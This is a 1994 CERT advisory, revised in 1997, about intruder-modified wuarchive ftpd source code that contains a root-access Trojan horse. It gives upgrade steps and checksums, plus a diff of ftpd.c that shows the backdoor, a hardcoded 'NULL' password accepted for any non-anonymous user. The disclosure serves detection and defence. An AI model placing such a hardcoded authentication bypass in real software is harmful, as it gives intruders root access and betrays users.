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CERT(*) Advisory CA-94:07

Original issue date:  April 6, 1994

Last revised: September 23, 1997

                Updated copyright statement



Topic:  wuarchive ftpd Trojan Horse

- -----------------------------------------------------------------------------



The CERT Coordination Center has received confirmation that some copies

of the source code for the wuarchive FTP daemon (ftpd) were modified by

an intruder, and contain a Trojan horse.



We strongly recommend that any site running the wuarchive ftpd take steps

to immediately install version 2.3, or disable their FTP daemon.



- -----------------------------------------------------------------------------



I.   Description



     Some copies of the source code for versions 2.2 and 2.1f of the

     wuarchive ftpd were modified by an intruder, and contain a Trojan

     horse.  If your FTP daemon was compiled from the intruder-modified

     source code, you are vulnerable.



     It is possible that previous versions of the source code for the server

     were modified in a similar manner.



     If you are running the wuarchive ftpd, but not providing anonymous FTP

     access, you are still vulnerable to this Trojan horse.





II.  Impact



     An intruder can gain root access on a host running an FTP daemon

     that contains this Trojan horse.





III. Solution



     We strongly recommend that any site running the wuarchive ftpd (version

     2.2 or earlier) take steps to install the current version.



     If you cannot install the new version in a timely manner, you should

     disable FTP service.  It is not sufficient to disable anonymous FTP.

     You must disable the FTP daemon.



     Sites can obtain version 2.4 via anonymous FTP from

        http://ftp.uu.net/networking/ftp/wuarchive-ftpd



     We recommend that you turn off your FTP server until you have installed

     the new version.

 

     Be certain to verify the checksum information to confirm that you have

     retrieved a valid copy.

 

        CHECKSUMS

        System V sum

        ============

        51092    16  patch_2.3-2.4.Z

        20337   362  wu-ftpd-2.4.tar.Z

 

        Berkeley sum

        ============

        09291     8  patch_2.3-2.4.Z

        38213   181  wu-ftpd-2.4.tar.Z

 

        md5 checksum

        ============

        MD5 (patch_2.3-2.4.Z)   = 5558a04d9da7cdb1113b158aff89be8f

        MD5 (wu-ftpd-2.4.tar.Z) = cdcb237b71082fa23706429134d8c32e

 

 

- - ---------------------------------------------------------------------------

The CERT Coordination Center wishes to thank Bryan O'Connor and Chris Myers

of Washington University in St. Louis for their invaluable assistance in

resolving this problem.  CERT also gratefully acknowledges the help of

Neil Woods and Karl Strickland.

- - -----------------------------------------------------------------------



If you believe that your system has been compromised, contact the CERT

Coordination Center or your representative in the Forum of Incident

Response and Security Teams (FIRST).

 

If you wish to send sensitive incident or vulnerability information to 

CERT via electronic mail, CERT strongly advises that the e-mail be encrypted.

CERT can support a shared DES key, PGP (public key available via

anonymous FTP on info.cert.org), or PEM (contact CERT for details).

 

Internet E-mail: cert@cert.org

Telephone: 412-268-7090 (24-hour hotline)

           CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),

           and are on call for emergencies during other hours.

 

CERT Coordination Center

Software Engineering Institute

Carnegie Mellon University

Pittsburgh, PA 15213-3890

 

Past advisories, information about FIRST representatives, and other

information related to computer security are available via anonymous

FTP from info.cert.org.



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Copyright 1994, 1995, 1996 Carnegie Mellon University.

Conditions for use, disclaimers, and sponsorship information can be found in

http://www.cert.org/legal_stuff.html and http://ftp.cert.org/pub/legal_stuff .

If you do not have FTP or web access, send mail to cert@cert.org with

"copyright" in the subject line.  



*CERT is registered in the U.S. Patent and Trademark Office.



==========================================================================

UPDATES



Added April 7, 1994



The Trojan horse described in CA-94:07 provides a back-door password

for any username other than "anonymous." It would be trivial for an

intruder to modify the back-door password or other details of the

Trojan horse code.  The "diff" described in #1 below will help you

detect only the Trojan horse referenced in the advisory.  It will

not detect any other Trojan horses.





Clarifications:



1) If you have modified any version of the wuarchive ftpd and cannot

install the new version, 2.3, you may detect the existence of the

discovered Trojan horse with the following diff on ftpd.c:



1013,1015c1013,1014

<         if ((pw == NULL || *pw->pw_passwd == '\0' ||

<             strcmp(xpasswd, pw->pw_passwd)) &&

<             (strcmp(passwd, "NULL"))) {

- ---

>         if (pw == NULL || *pw->pw_passwd == '\0' ||

>             strcmp(xpasswd, pw->pw_passwd)) {





2) Since the versions containing the Trojan horse were found in a

number of locations, it is possible that your version of the wuarchive

ftpd software contains the Trojan horse regardless of the distribution

site from which you obtained the source code.



3) If you have any questions concerning the wuarchive ftpd software,

send mail to:



Bryan D. O'Connor

Office of the Network Coordinator

bryan@fegmania.wustl.edu

Washington University in Saint Louis

http://fegmania.wustl.edu/~bryan





~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Revision history



Sep. 23, 1997  Updated copyright statement

Aug. 30, 1996  Information previously in the README was inserted

               into the advisory.

Feb. 02, 1995  Sec. III - Inserted a pointer and checksums for wu-ftpd-2.4.

Apr. 07, 1994  Updates - Added clarifications and additional assistance.





















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